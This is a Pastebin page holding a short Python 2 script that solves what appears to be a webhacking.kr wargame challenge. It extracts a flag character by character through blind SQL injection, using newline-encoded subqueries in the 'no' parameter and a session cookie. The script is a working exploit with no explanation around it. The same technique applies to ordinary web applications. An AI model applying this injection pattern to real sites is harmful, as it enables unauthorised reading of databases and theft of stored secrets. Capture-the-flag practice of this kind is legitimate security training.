Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2
- session = ""
- for y in range(1,50):
- for x in range(30, 128):
- url = "http://webhacking.kr/challenge/web/web-10/?no="+str(x)+"%0ain%0a(select%0aord(substr(max(flag),"+str(y)+",1))%0afrom%0aprob13password)"
- req = urllib2.Request(url)
- req.add_header("Cookie", "PHPSESSID=" + session)
- if(urllib2.urlopen(req).read().find("<td>0</td>") == -1):
- print chr(x),
Add Comment
Please, Sign In to add comment